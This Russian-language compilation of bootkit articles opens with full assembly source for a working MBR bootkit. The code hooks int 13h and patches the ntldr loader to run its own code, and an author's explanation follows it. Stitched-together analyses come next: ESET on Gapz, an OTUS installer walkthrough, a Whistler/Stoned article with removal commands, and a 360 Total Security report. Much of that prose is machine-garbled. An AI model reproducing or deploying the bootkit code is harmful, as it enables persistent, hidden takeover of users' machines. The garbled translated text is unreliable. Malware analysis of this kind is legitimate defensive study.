 mov ax, [ds:413h]
 sti
 cld
 shl ax, 6 ; mem *(2^10 / 2^4) = mem *2^(10-4) = mem *2^6
 mov es, ax
 xor di, di
 mov si, 7c00h
 mov cx, 200h
 rep movsb
 push es
 push @@read_orig
 retf
;;;;;;;;ISR of int13h;;;;;;;;;;;
@@Interapt: 
 cmp ah, 2h
 jz @@execute
 cmp ah, 42h
 jz @@execute
 db 0EAh
 dw 0000, 0000
 Int_13 EQU $-4
@@execute:
 mov [cs:int13hFunc], ah
 pushf ;orig int13h съест сохранённый регистр флагов из стека + cs и ip
 call far [cs: Int_13]
 jc @@int13h_ret
 
 pushf
 cli
 push es
 pusha
 mov ah, 00h
int13hFunc EQU $-1
 cmp ah, 42h
 jnz @@int13h_f2
 ;;;Disck Address packet
 ;;;offset range size description
 ;;;00h 1 byte size of DAP = 16 = 10h
 ;;;01h 1 byte unused, should be zero
 ;;;02h..03h 2 bytes number of sectors to be read, (some Phoenix BIOSes are limited to a maximum of 127 sectors)
 ;;;04h..07h 4 bytes segment:offset pointer to the memory buffer to which sectors will be transferred (note that x86 is little-endian: if declaring the segment and offset separately, the offset must be declared before the segment)
 ;;;08h..0Fh 8 bytes absolute number of the start of the sectors to be read (1st sector of drive has number 0)
 lodsw
 lodsw ;ax = number of sectors to be read
 les bx, [si]
@@int13h_f2:
 test al, al
 jle @@ExitInt_13
 ;al=колличество секторов для чтения 
 ;ax:=ax*2^9=ax*512b
 ;es:bx - прочитанные данные
 movzx cx, al
 shl cx, 9 
 mov di, bx
 mov al, 8Bh
 cld
@@Search_8B:
 repne scasb
 jnz @@ExitInt_13 ;не найден байтик
 
 ;нашли 8b,ищем 74f685f0h
 ;8B F0 85 F6 74 21 80 3D
 cmp dword [es:di], 74F685F0h
 jnz @@Search_8B
 
 cmp byte [es:di+4], 21h
 jnz @@Search_8B
 
 cmp word [es:di+5], 3D80h
 jnz @@Search_8B
 
 ;Если мы тут, значит нашли место в ntldr: seg000:00026C8C
 ;ntldr
 ;00026C8C: 8BF0 mov si,ax
 ;00026C8E: 85F6 test si,si
 ;00026C90: 7421 jz 000026CB3 -- 1
 ;00026C92: 803D10 cmp b,[di],010
 ;xchg bx, bx
 mov word [es:di-1], 15ffh
 mov eax, cs
 shl eax, 4 ;физический адрес своего сегмента
 add eax, StartCODE32
 mov [cs:Hook32], eax
 sub eax, 4
 mov [es:di+1], eax 
 
 ;mov dword ptr es:[di-1], 0F685f08bh ; восстанавливаю сигнатуру 
 ;mov dword ptr es:[di+3], 03D802174h
@@ExitInt_13:
 popa
 pop es
 popf 
@@int13h_ret:
 iret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@read_orig:
 xor ax, ax
 mov es, ax
 mov dx, es
 mov bx, 7c00h 
 mov ah, 2
 mov al, 1 ;1 сектора
 mov cx, 1 ;mbr
 mov dx, 80h 
 int 13h
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; HOOKED INTERUPT INT13h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;HOOKED INTERUPT INT13h ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 cli
 mov ax, [4Eh] ;segment 
 mov [cs:Int_13+2],ax

 mov ax, [4Ch] ;offset
 mov [cs:Int_13],ax
 
 mov word [4eh], cs
 mov ax, @@Interapt 
 mov word [4Ch], ax
 sti
@@boot: 
 push 0
 push 7c00h
 retf
 
Hook32 dd 0

use32
StartCODE32:
 mov esi, eax
 test eax, eax
 jnz short Path_Done
 pushfd
 add dword [esp+4], 21h
 popfd

Path_Done:
 ret
 times 510-($ - $$) db 0
 db 55h, 0AAh 

Немного пояснений.  Для экономии времени, мы не прописываем MBR виртуальной системы на наш код, а вместо этого настраиваем первую загрузку системы со съёмного носителя — дискеты. Таким образом, после компиляции, можно сразу загружать ось и смотреть что получилось, иначе, пришлось бы дожидаться загрузки гостевой оси, затем переносить скомпилированный код и им прошивать MBR. Это очень долго. В самом начале кода, у нас на экран выводится 16 букв ‘N’, после чего система ожидает нажатия клавиши. Только после этого наш загрузчик начнёт выполняться. Это сделано для того, что во время тестирования, иногда забываешь закрыть образ дискеты из hex редактора и, поэтому, ось не может получить доступ к дискете и грузится со следующего загрузочного носителя в списке. В нашем случае с диска. Это может ввести в заблуждение, можно подумать, что наш код отработал и система успешно загрузилась, а на самом деле всё не так. Я много потратил времени из-за таких глупых ошибок. Но, когда система ожидает нажатие клавиши, то можно быть уверенным, что мы загрузились именно с  нашего загрузчика. Два раза в коде встречается место, когда мы рассчитываем полный физический адрес памяти имея в своём распоряжении сегмент и смещение. В реальном режиме сделать это проще простого. Достаточно умножить номер сегмента на его размер и прибавить смещение. Как мы знаем, размер сегмента в реальном режиме равен 65536 байт или 2 ^ 16. В 17 строке, мы вычитаем 1 из переменной, где хранится общий объём оперативной памяти ПК в килобайтах, тем самым резервируя для себя место. Дальше мы переносим свою тушу в это «тёпленькое» местечко, где будет располагаться обработчик 13h прерывания и код, который будет выполняться системой в защищённом режиме.  В 21 строке мы определяем номер сегмента нашего местечка, так как это требует операция movsb. По идее нужно было бы сделать это в два шага. Первый — перевести общий размер памяти из килобайт в байты, умножив полученное значение на 1024, или сдвинув в лево на 10 разрядов, второй — разделить полученное значение на размер одного сегмента — на 65536 или сдвинуть вправо на 4 разряда. Таким образом, мы var413h * 2^10/2^4, что можно сделать одной операцией — var413h * 2 ^(10-4) или var413h*2^6. Так будет определённо быстрее.

Также необходимо помнить, что перед вызовом оригинального обработчика прерывания с возвратом в наш обработчик, необходимо предварительно сохранить регистр флагов! И это обязательно, иначе не загрузимся! Если возвращаться в наш обработчик не нужно, то сохранять ничего не надо. Начиная со строки 74, мы занимаемся непосредственно поиском нашей сигнатуры. Перед этим мы перенастроили адреса прочитанных данных так, чтобы на них указывала пара es: bx. У двух функций 13h прерывания они получаются по-разному. И так, в 96 строке мы заменяем первые байты сигнатуры (8b  F0) на FF 15 — опкод команды call. Дальше мы должны заменить оставшиеся байты сигнатуры на адрес переменной с полным физическим адресом нашего кода, который вызовется в защищённом режиме. Этот адрес получается с 97 строки. Так как мы в обработчике прерывания, код которого был перенесён в верхние адреса памяти, то мы берём сегментный регистр cs и умножаем на 65536, тем самым получаем физический адрес нашего сегмента кода. Дальше к нему нужно прибавить смещение до переменной, содержащей адрес 32-разрядного кода. Это делается так: прибавляем смещение метки StartCODE32 и вычитаем 4, так как эта переменная находится сразу перед этой метки. Всё! Дальше ось грузится сама по себе и наткнётся на наш код, который съэмулирует затёртые байты и всё будет ок).

If you found an error, highlight it and press Shift + Enter or click here to inform us.

Современные буткит-технологии и детальный анализ Win32 / Gapz

Последние несколько лет увеличилось распространение вредоносных программ (буткитов), модифицирующих загрузочных секторов в процессе заражения системы. Среди самых видных представителей — TDL4, Olmasco и Rovnix. Каждый из первых использует способы заражения жесткого диска, либо модификация главной загрузочной записи (MBR), либо модификация сектора загрузочного раздела, т. е. VBR или IPL (первые сектора тома, куда передается управление из MBR — Volume Boot Record / Initial Program Loader ).Наглядно эти показаны на рисунке ниже.

Рис. 1. Схема различных семейств буткитов и методы заражения диска.

Существует несколько причин использования буткитов в современных угрозах:
● Возможность запуска ОС программного кода, что дает возможность контролировать процесс раньше.
● Как следствие системы первого пункта, позволяет обходить мониторинг возможностей ключевых компонентов ядра — PatchGuard (практически единственный способ обеспечить выживаемость руткита в x64-среде).
● Возможность глубоко скрывать свой код и, таким образом, делать его невидимым для AV-сканеров.
● Буткит имеет посекторную мощностьуру хранения своего тела на диске, что дает возможность выносить свой вредоносный код и кодную нагрузку далеко за пределы файловой системы и даже разделов диска, почти невозможным его обнаружение.
● Безопасная установка руткита в системе.

В отчете ESET по угрозам и трендам за 2012 г., мы указали, что буткиты являются одними из ключевых трендов прошедшего года.Наши эксперты отслеживают появление новых сложных угроз. Мы также не обошли стороной и Win32 / Gapz, так как он содержит ряд технических компонентов, которые делают его действительно интересным. Александр Матросов и Евгений Родионов проделали работу, занимаясь анализом этой большой буткита. Сегодняшний наш пост посвящен этому анализу.

Дроппер

Начнем с дроппера — компонента, который является основным носителем кода буткита и отвечает за его установку в системе.Мы детектируем его как: Win32 / Gapz.X , X-версия. Мы представили его версию, A, B и C. Ниже в таблице представлены их характеристики:

Рис. 2.

В соответствии с нашими наблюдениями, первая известная версия дроппера скомпилирована в апреле прошлого года и содержала много отладочной информации, т. е. не подразумевалась для массового распространения. Вполне вероятно, что Win32 / Gapz начали массово распространять в конце лета или начале сентября прошедшего года.Для поднятия своих привилегий в системе Win32 / Gapz использует LPE-эксплойты и COM Elevation.
В процессе анализа мы обнаружили, что заражению Win32 / Gapz подвержены: 32-битные Windows XP SP2 и выше (исключительно Windows Vista и Vista SP1) и 64-битные Windows XP SP2 и выше. Обсуждаемая версия дроппера Win32 / Gapz способна заражать Windows XP и Windows 7, включая версию x64, однако на Windows 8 буткит-часть не работает должным образом и после заражения часть, надлежащая к исполнению в режиме ядра, не исполнялась.

Рис. 3. Часть кода дроппера, проверяющая версию ОС.

Дроппер, устанавливающий буткит в систему, тщательно продуман и способен обойти современные проактивные защиты (HIPS), а также поднимать свои привилегии до уровня системы. Кроме того, он содержит хитрый метод внедрения кода в адресное пространство процесса. Файл дроппера экспортирует из себя несколько функций, которые указаны ниже на рисунке.

Рис. 4. Функции, экспортируемым исполняемым файлом дроппера.

Есть три экспортируемые функции, на которые следует обратить внимание: start, icmnf и isyspf. Краткое описание:
● start — точка входа в дроппер, осуществляет его внедрение в адресное пространство процесса explorer.exe;
● icmnf — отвечает за повышение (эскалацию) привилегий;
● isyspf — проверка заражения жертвы кодом буткита.

Код дроппера использует специальную секцию, которая спроецирована в адресное пространство процесса исследователя.Через эту секцию он загружает шелл-код в этот процесс и далее, с помощью специально сформированного API-вызова, производит его активацию. Соответственно, после того, как шелл-код активирован, он подгружает образ дроппера в адресном пространстве процесса исследователя, вызывает функцию повышения и запускает заражения кодом буткита, соответственно записывая его на диск.

Рис. 5. Стадии выполнения дроппера и заражения жертвы кодом буткита.

После того, как дроппер заразил систему буткитом, его исполнена, и он удаляет свой файл с диска.

Вредоносный код MBR

Были представлены две модификации буткита Win32 / Gapz, которые различаются методами заражения диска жертвы. Самая ранняя модификация появилась в начале лета 2012 г., эта версия была нацелена на заражение MBR. Другая, более поздняя модификация, которая заражает VBR, была замечена в конце осени 2012 г.

Рис. 6. Две модификации Win32 / Gapz, нацеленные на заражения MBR и VBR.

Давайте рассмотрим более раннюю модификацию буткита, которая нацелена на заражение MBR, подробнее.В этом случае, код буткита можно разбить на несколько частей:
● вредоносный MBR;
● код режима ядра и полезная нагрузка, внедряемая в процессы.

Вредоносный код сохраняет свой код режима работы и полезную нагрузку либо перед первым разделом, либо после последнего раздела на жестком диске. Такой подход очень похож на тот, который использовался в бутките Rovnix, за исключением того, что Rovnix заражает VBR.
Что касается буткит части Win32 / Gapz, то в ней ничего необычного: как только код из вредоносного MBR исполнился, он восстанавливает оригинальный код в памяти и следующие секторы жесткого диска, код для последующего исполнения, на который и передается управление.Код буткита перехватывает обработчик прерывания 0x13, int 13h и отслеживает таким образом, загрузку ниже перечисленных модулей ОС для установки туда перехватов:
● ntldr (на системах до Windows Vista)
● bootmgr (на системах Vista +)
● winload.ex e (на системах Vista +)

Код буткита идентифицирует каждый из вышеперечисленных модулей, используя специальные байт. Ниже перечислен список функций, которые буткит перехватывает в этих модулях:

.Буткит устанавливает перехваты на загрузчик ядра ОС: либо ntldr в устаревших системах до Windows Vista, либо bootmgr в Vista и выше. В случае с bootmgr он также перехватывает функцию OslArchTransferToKernel в winload.exe.

Рис. 7. Перехватчик функции OslArchTransferToKernel в winload.exe.

Следующий этап, это установка перехвата на функцию IoInitSystem , которая вызывается в процессе инициализации ОС. Она перехватывается вредоносным кодом либо из ntldr, либо из winload.exe, в зависимости от версии ОС.

Рис. 8. Код перехвата, устанавливаемого на функцию IoInitSystem .

После того, как вредоносный код из IoInitSystem был исполнен, буткит восстановил модифицированные байты в образе ядра ntoskrnl и передает управление оригинальной IoInitSystem . Перед передачей управления оригинальному коду, буткит перезаписывает адрес возврата в стеке на свою функцию, которая, соответственно, будет исполнена по завершении исполнения IoInitSystem .С помощью такого трюка отрицательный код получает управление после того, как ядро ​​ОС будет инициализировано. Далее неверный код устанавливает остальную часть с жесткого диска и создает отдельный системный поток. В этой части буткита, которая исполняется в режиме ядра, реализуется руткит-функционал, внедрение полезной нагрузки в процессы и взаимодействие с C&C сервером.

Вредоносный код VBR

Как мы уже включаем, последнюю модификацию Win32 / Gapz заражает VBR тома, который помечен как активный в MBR (Volume Boot Record — первый сектор, в котором прописана служебная информация, а также VBR-код, тома, на который передается управление из MBR и который отвечает за дальнейшую загрузку ОС).Буткит использует оригинальный подход для заражения VBR с первой передачей управления своему коду. Для того чтобы быть более скрытным и незаметным, он модифицирует только несколько байт оригинальной VBR. Суть такого подхода заключается в том, что он модифицирует значение поля «Скрытые секторы» в поле служебной структуры VBR, при этом оставляя код VBR и код IPL нетронутым! IPL, начальный загрузчик программ — код, на который передается управление после исполнения кода VBR, он отвечает за поиск загрузчика в рамках файловой системы тома и передает на управление.В состав VBR включены следующие части:
● Bootstrap-код (VBR-код), отвечающий за загрузку IPL.
● Блок параметров BIOS (BPB) — структура данных, хранящаяся блок параметров NTFS.
● Текстовые строки, отображаемые пользователю в случае ошибки.
● 0xAA55 — стандартная двухбайтовая сигнатура, маркер служебного сектора.

Рис. 9. Схема первого сектора VBR.

В случае с Win32 / Gapz, наиболее интересным местом для анализа является BPB и особенно поле «Скрытые сектора».Это поле содержит количество секторов, предшествующих IPL (т. Е. Смещение в IPL в секторах, с помощью которого код из VBR определяет, куда передать управление далее) и хранящихся на NTFS-томе, как показано ниже.

Рис. 10. Структура NTFS-тома.

Таким образом, в процессе загрузки в чистой системе, VBR-код считывает 15 секторов, начиная со смещения, через «Скрытые секторы», и передает управление туда. Этим и пользуется буткит для передачи управления на себя.Он перезаписывает это значение, перезаписывает это значение до своего отрицательного кода, хранящегося на диске. После заражения том выглядит так:

Рис. 11. Модифицированное буткитом значение того же параметра «Скрытые секторы» приводит, что код VBR передает управление на код буткита, а не на IPL.

В случае заражения системы, VBR-код вызывает код буткита вместо легального IPL. Код буткита, как уже упоминалось, записывается либо перед первым разделом диска, либо после последнего.В остальном коде буткита, по существу, ничем не отличается от версии с MBR-инфектором.

Вредоносный код ядра режима

Основное предназначение этой части, которая и называется буткитом, описанная выше, заключается в загрузке вредоносного кода режима или руткита в системном адресном пространстве, обходя ограничения, накладываемые ОС для такого привилегированного кода. Мы уже включаем этот загружаемый буткитом код, который содержит в себе руткит для своего присутствия, механизм работы с управляющим сервером C&C, а также полезную нагрузку (полезную нагрузку), которая предназначена для внедрения в процессы.
В отличие от Rovnix, TDL4 и других распространенных, вредоносный код режима ядра в Win32 / Gapz не имеет структуры исполняемого PE-файла. Вместо этого он образом структурирован особым. Код состоит из 12 объединенных между собой блоков, каждый из которых имеет заголовок, который хранит служебную информацию о нем. Она имеет следующий вид:

Каждый из блоков реализует функционал: внедрение полезной нагрузки, взаимодействие с C&C серверами, самозащиту и так далее.Функционал кода режима является достаточно сложным и может быть рассмотрен отдельно (выходит за рамки этого поста).

Bootkits против Microsoft ELAM

В этой части нашего поста мы хотим остановиться на специальном средстве, которое Microsoft решили использовать для борьбы с различными видами угроз, особенно, руткитами и буткитами, которые пытаются загрузить себя раньше другими драйверами в системе. Средство называется ELAM, Модуль раннего запуска Anti-Malware и поставляется в составе ОС, начиная с Windows 8.По сути, это драйвер, предоставляющий антивирусным вендором, гарантированный приоритет при загрузке драйверов режима ядра. С точки же ядра ОС, ELAM представляет собой API для антивирусных драйверов, а также набор такому драйверу следует придерживаться. Одна из основных возможностей этого средства заключается в том, что он гарантированно позволяет AV-драйверу загружать другие драйверы в системе и таким образом, выходить за рамки обычных правил автозагрузки, регламентируемых для остальных драйверов.

Мы отмечаем, что ELAM сам по себе не может быть так эффективен для борьбы с буткитами, поскольку это часть ядра ОС, а буткит получает управление гораздо раньше.

Рис. 12. Мы видим, что буткит может компрометировать систему с активным ELAM, сделать его бесполезным инструментом. Бутылкуются раньше инициализации ОС, он будет находиться в памяти на тот момент, когда ELAM получит управление.

В то же время следует отметить, что ELAM является частью декларируемой концепции безопасной загрузки Microsoft — Secure Boot.В случае с Secure Boot, программное обеспечение, встроенное в UEFI (такое ПО получает управление как только компьютер начал свою работу) может контролировать целостность и легитимность кода, на который передается управление в процессе выполнения кода, предшествующего выполнению основного кода ОС. Концепция Secure Boot, совместно с новым стандартом UEFI, предотвращает компрометацию критичных структур данных ОС / UEFI со стороны буткитов.

.

Разбор буткита / Блог компании OTUS. Онлайн-образование / Хабр

Всем привет! В связи с запуском курса «Реверс-инжиниринг» мы провели плановый открытый урок. На нём разобрали алгоритм работы буткита на разных стадиях его загрузки.

Преподаватель — Артур Пакулов, вирусный аналитик в «Лаборатории Касперского».

Следующая статья носит вступительный характер и представляет собой текстовую версию лишь части урока, которая посвящена установщику буткита.Подробный разбор самого буткита смотрите в видео.

Буткит (Bootkit) — вредоносная программа, осуществляющая моди настройку Master Boot Record — сектора первого физического диска либо загрузочного сектора — VBR. Программы такого рода, в основном, имеют троянский функционал для осуществления каких-либо скрытых действий в системе. В нашем примере, буткит Интернет-авторизация до уровня системы, имя которого начинается на последовательность букв: «inte».Фактически, буткит — это руткит, начинающий работать в 0 кольце защиты, который запускается ещё до начала операционной системы. Именно из-за этого он и представляет большой интерес для исследования.

Чтобы создать такую ​​программу, обычные навыки реверс-инжиниринга недостаточно. Мало просто уметь читать листинг, нужно ещё и понимать такие вещи, как архитектура, процессор адресации памяти и т. д. Ключевые места буткита мы и посмотрели на открытом уроке.

Для работы был подготовлен специальный семпл bootkit-xp.exe, работающий под Windows XP. Поэтому, кроме изучения буткита, немного поностальгировали по этой операционной системе. Но вообще, ОС XP была выбрана для того, чтобы проще было реверсировать, так как XP — это хорошая наглядность и отсутствие лишних осложнений. Ну и, семпл был написан именно под этой ОС, судя по его коду.

А вот как инсталлятор:

Просто глядя на него, можно сделать определенные выводы. Например, сразу бросается в глаза, что этот файл имеет маленький вес.Если же глянуть на точку входа, то можно заметить, что в коде идёт получение дескриптора файла с символьной ссылкой на первый физический диск — «PhysicalDrive0»:

Далее для удобства восприятия кода перешли в IDA. Становится ясно, что для типичного трояна имеющийся функционал довольно мал. Даже таблица импорта подозрительно мала:

картина Такая обычно вырисовывается при анализанных семплов. Но в нашем случае файл выглядит не упакованным.Выходит, что семпл либо накрыт каким-либо протектором / криптором и в процессе своей работы получает функции динамическим образом, после чего вызывает нужное функционал, либо всё нормально, и сэмпл такой, какой есть.

Продолжаем исследовать код.

Как мы уже видели в HIEW, вызывается функция CreateFileA с интересным аргументом в качестве первого Что именно тут делается? Тут уместно вспомнить про такое понятие, как объекты ядра .Ими управляет ядром операционной системы напрямую из режима пользователя. Из пользовательского режима программа может только сделать запрос на получение / изменение состояния какого-либо объекта ядра. Чтобы указать системе, с каким именно объектом ядра будет работать программа, требуется получить хендл нужного ядра. При запросе на получение, если все проверки будут пройдены, ОС вернёт нам handle запрашиваемого ОЯ. А уже используя ручку, мы можем работать со с ним ОЯ.

Таким образом, на приведённом выше изображении с помощью CreateFile идёт обращение через символьную ссылку к первому подключенному физическому жёсткому диску. Таким образом, можно работать с любым другим файлом. Т. е. весь жёсткий диск целиком будет представляться как один большой файл.

Итак, продолжим. Ручка вернулась, и мы оказываемся здесь:

Что дальше происходит? А функция дальше ReadFile , считывает первые 0x200 байт.А находится у нас там самый первый сектор первого физического диска.

Как вы уже догадались, это Master Boot Record (MBR). MBR состоит из 3 частей: кодовой части, таблицы разделов и сигнатуры. В обычной ситуации bios вычитывает MBR в память по адресу 0: 0x7c00h, передавая на нее управление. Так, кодовая часть MBR начинает работать. В процессе выполнения она парсит таблицу разделов, находит загрузочный сектор и грузит его. В случае буткита, если MBR будет перезаписан, его код уже сейчас получит управление.

Ок, МБР считан а, что дальше? А дальше буткит снова открывает PhysicalDrive0, но с режимом доступа на запись.

Дальше устанавливается указатель по 600-му смещению. То есть оригинальный сектор считывается и копируется в третий сектор .

Зачем бэкапить сектор? Очевидно, что это нужно для того, что он понадобится в дальнейшем.

Дальше запускается цикл. Естественно, глядя на код, нельзя не обращать внимание на константы типа var_1C, 1BEh и прочие.И, заодно, следует освежить в памяти MBR, размещённую выше. В частности, нас интересует колонка «Смещение».

Смотрите, прочитанный буфер первого сектора находится в лпBuffer . Далее к нему прибавляется 1BEh , Фактически, указатель направляется на начало таблицы разделов. Все, начиная с таблицы и до конца сектора, вставляются в _marked_bytes , начиная с того же ущерба — 1BE.

То есть, в _marked_bytes вставляется вторая и третья часть оригинального MBR.

Что происходит дальше? А дальше SetFilePointer устанавливает указатель в самое начало нашего «файла», т. е. на MBR.

Потом происходит запись (WriteFile) сформированного _marked_bytes и освобождение памяти. На этом функционал установщика буткита заканчивается.

Но неплохо было бы посмотреть, а что именно находится в первой части _marked_bytes . Для этого, сдампим её на диск и проанализируем. Первое, что бросается в глаза, — уменьшение 2 компонентов по адресу 0x413.

Если посмотреть техническую документацию, то можно найти, что переменная по адресу 0X413 содержит количество установленной физической памяти в килобайтах. Соответственно код буткита «отрезает» два килобайта памяти:

Теперь, чтобы не делалось дальше, будет считаться, что имеется на 2 килобайт памяти меньше, чем было. Зачем — пока непонятно.

Сдвиг на 6 делает два действия разом — переводит килобайты в байты (домножив значение значения на 2 ^ 10), тем самым самым получив физический адрес к откусанному куску памяти, и извлекает из него номер сегмента, поделив результат на 0x10 (2 ^ 4).

После произойдёт копирование своего тела по этому куску памяти, причём, т. к. код буткита находится именно в «откусанном» куске, его дальше уже не никто не потревожит . Мало того, никакие прерывания не изменят того, что написано в этой области памяти. Можно сказать, что становится невидимым для системы , как будто там и никакой памяти.

Это только самое начало работы буткита. Дальше будет перехват прерывания, отслеживание сигнатуры ntldr, модификация модуля ядра ОС и т.д…

. Поэтому лучше досмотреть вебинар до конца, чтобы ничего не пропустить.

.

Whistler Bootkit — наше полку прибыло / Хабр

В последнее время появилось и постепенно набирают обороты жалобы пользователей на наличие вредоносных файлов, которые не удаётся удалить никаким образом. Эти файлы видны в списке процессов, и что характерно — все они размещены в папке C: \ System Volume Information \ (или подпапках) и выполняются с правами NT-AUTHORITY \ SYSTEM.

Если у Вас проявляется такое поведение — поздравляю, Вы подхватили Уистлерский комплект ботинок.О нём и пойдёт речь сегодня.

На данный момент я, как и некоторые мои друзья в антивирусных компаниях, не располагаем инфектором этой буткита. Однако очевидно, что зловред не является новым изобретением. В этом случае вирмейкер, вероятно, явно скопировал код, даже не потрудившись его дополнить или изменить. Итак, история…

До некоторого времени, проект Stoned Питера Клейсснера был способом показать возможность использования кода в системе до фактической загрузки системы.Это позволяет получить полный контроль над ОС: запуск от выполнения произвольных процессов с произвольными полномочиями до преодола системы безопасности Windows и контроля лицензионного ключа на Vista / Seven. Проект довольно стабильно развивался в открытом исходном коде, пока «Лаборатория Касперского» и некоторые другие организации не подали в суд на автора за якобы распространение зловредного программного обеспечения. Не буду комментировать этот поступок и насколько он разумен, однако с конца прошлого года автор прекратил распространение новых версий и значительно урезал доступную публичную версию.Также были приостановлены разработки поддержки Linux-платформ на момент протекания судебного процесса. И появился Whistler…

По информации от Питера, утечка произошла скорее всего до января этого года, поскольку первый «промоутерский» шаг о Whistler появился вот в этом блоге именно в январе. Спустя месяц блоггера вынудили выкинуть явно рекламную информацию, а также информацию о стоимости буткита и его поддержки, придав статье «информационный», а не рекламный характер.Сейчас «оффсайт» буткита расположен здесь, где информации поменьше, но денег хочется пооткровеннее 🙂

На основании этой даты можно предполагать, что Whistler базируется на Stoned v2 Alpha 3 от 20 октября 2009 года. Именно эта версия шла в комплекте с компилированными инфекциями инфектора и дезинфектора. Приняв это за рабочую гипотезу, за неимением дроппера, следующая информация сделана именно на основании работы и возможности версии Камнями.

Исходно, документировались самые различные методы инфицирования: автозапуск с флешки, pdf-эксплоиты (инфицирование заражённого pdf-файла), инфекторы, заражение при загрузке специальных образованных LiveCD / LiveUFD.Поэтому инфектор может быть в чём угодно, что затрудняет понимание, как же передаётся и где берётся Уистлер.

Список инфицируемых ОС внушителен: 2000, XP, Vista, Seven, Server 2003, Server 2008, порддерживается х64. При этом корректно работает аппаратным и программным шифрованием всего содержимого винчестера. Отключение возможности модифицирования MBR в BIOS не помогает (это работало только в DOS и win95 / 98, так что уже в принципе неактуально).

На заражённой системе загрузчик в MBR патчится на первичное выполнение кода буткита с первой передачей управления оригинальному загрузчику.Оригинальный загрузчик, код буткита и его плагины хранятся в неразмеченной области в конце физического диска в специальной файловой системе (RawFS — так было в оригинальном Stoned). При этом код буткита является первым файлом этой системы и расположение его точно известно. Это важный момент, позволяющий проводить инфицирование даже полностью криптованных дисков, поскольку в них не криптуется загрузчик и известно точно начало неразмеченной области — а этого вполне достаточно.

После загрузки кода буткита размещается в памяти и позволяет реализовать различный функционал, подгружая плагины в вспомогательные процессы.Включает готовый плагин запуска приложений с правами NT-AUTHORITY \ SYSTEM, но в общем схема выполнения плагинов стороны со буткита следующая.

1. По функциям PsGetVersion / RtlGetVersion определятся версия операционной системы.
2. На основании этой информации структуры структуры EPROCESS и KTHREAD.
3. Буткит через асинхронный вызов процедуры внедряет код плагина в любой исполняемый пользовательский режим процесс.

Как видно из пп. 1-2, код буткита позволяет работать на любой ОС. Однако нужно отличать от буткита его плагины: последние зависимые от ОС (особенно разрядности — х32 или х64), а потому в системе RawFS могут находиться различные версии под различными системами. Если автор Whistler написал плагин, позволяющий запускать с повышенными правами процессы — и этот плагин написан под х32, значит, в общем Whistler будет заражать и х32 и х64, в памяти находится буткит — но свой потенциал он будет раскрывать только на х32, поскольку плагин на другой разрядности не заработает.

Если автору Whistler попалась закрытая версия Stoned — там не было возможности запуска и эскалации прав у процессов на х64 ( NB !!! )

Оригинальный Stoned никак не скрывал свое присутствие и изменение MBR (как это делал, например, Sinowal ). В принципе, это возможно сделать с помощью дополнительного плагина (см. Выше), но его необходимо кодить. Хватит ли на это ума и возможности автора Whistler — неизвестно.

Что же делать, если у Вас появился Уистлер? Исходя из доступности MBR достаточно стандартная fixmbr.Однако, во время во внимание то, что пока этот вирус — «тёмная лошадка», рекомендуется снять дампы MBR. Это можно сделать, к примеру, с помощью MBRWizard, выполнив в строке:

mbrwiz.exe / save = mbr /filename=mbr.bin

Можно попробовать в действии и antiboot. Я немного изменил эту утилиту, а точнее — автоматизировал сбор карантина. Суть: утиль проводит исследование antiboot по такой команде:

antiboot.exe -l "% cd% \ log.txt "-p"% cd% \ MBR "

Потом упаковывает папку MBR в zip-архив quarantine.zip с паролем вируса и удаляет папку MBR.
Непосредственно в утилите имеются баги: тормоза в ходе работы и подвисание на некоторых машинах. Выглядит это так: в консоли пишет:

Antibootkt, (c) Лаборатория Касперского 2010, версия 1.2.1
Журнал начат
Распаковка драйвера
Пусковой драйвер

после чего — тишина и долго надолго. В этом случае нужно попросить пользователя закрыть окно вручную и вручную прислать созданную папку MBR (дампы в ней уже будут).
(По словам представителя ЛК, об этом баге знают, но устранить не возможным по различным причинам).

Безусловно, возможно использование и широко известного «универсального» лечя буткитов eSage Bootkit Remover. Тем не менее, имеются сведения, что при наличии активного заражения TDL2 эта тулза выдаёт «диск не найден». Это следует в виду при её использовании, но в целом — вполне хорошая вещь, тоже рекомендуемая к использованию. Но не напрямую, хотя бы с таким скриптом:

start / wait remover.Дамп exe \\. \ PhysicalDrive0 mbr.bin
Remover.exe fix \\. \ PhysicalDrive0

Полученные дампы MBR можно разослать любимому производителю антивируса 🙂 Это позволит оценить, насколько Whistler отличается от Stoned. Сильно подозреваю, что никак 🙂

P.S. Огромное спасибо Питеру Клейсснеру за содействие, оказанное в рамках подготовки материалов и вообще за работу, проделанную в рамках проекта Stoned.

.

BootKit, один из самых раздражающих троянов, готов к следующей глобальной атаке

31 Июл. Кейт

2018 г.
Подробнее о 360 Total Security

BootKit — распространенный троян, который заразил большое количество ПК. В последнее время 360 Security Center обнаружил, что BootKit распространяется снова. На этот раз троян распространяется в серверные системы. Наши пользователи заявили, хотя они пробовали различные методы, чтобы восстановить свои компьютеры из-за ненормального состояния, было еще слишком поздно.Мы провели подробный анализ и 360 Total Security первым захватил и уничтожил этот троян BootKit.

Через подробный анализ мы распространяем этот вид трояна через вторжения на сервер пользователей через слабые пароли MySQL или MSSQL. Более того, этот троян, скорее всего, в будущем будет преобразован в программу-вымогатель. Чтобы избежать атак, если ваш пароль сил недостаточно, пожалуйста, измените пароль.

Анализ

C: \ Windows \ Temp \ v.exe

Внести сервер, чтобы выпустить файл на
C: \ Windows \ Temp \ v.exe

Информация о троянском файле:

Написать функцию:

Получить серийный номер диска, соответствующий активному разделу:

Определить раздел MBR:

Проверить его статус записи:

Написать функцию после резервного копирования:

После загрузки поведения BootKit показано ниже:

.

Системная информация после загрузки:

Включить цикл потока, чтобы выполнить следующий процесс, а затем завершить процесс:

Внедрить код в процесс Winlogon.exe, APC и загрузить вредоносный код в Интернете

Сводка

Если ваш компьютер запускается медленно или ваш сервер работает неправильно, используйте 360 Total Security для обнаружения трояна. Кроме того, не запускайте ненужное обслуживание, это даст хакерам больше шансов атаковать ваш сервер. Для получения необходимой услуги, если есть слабый пароль, мы рекомендуем его немедленно изменить.

Подробнее о 360 Total Security
.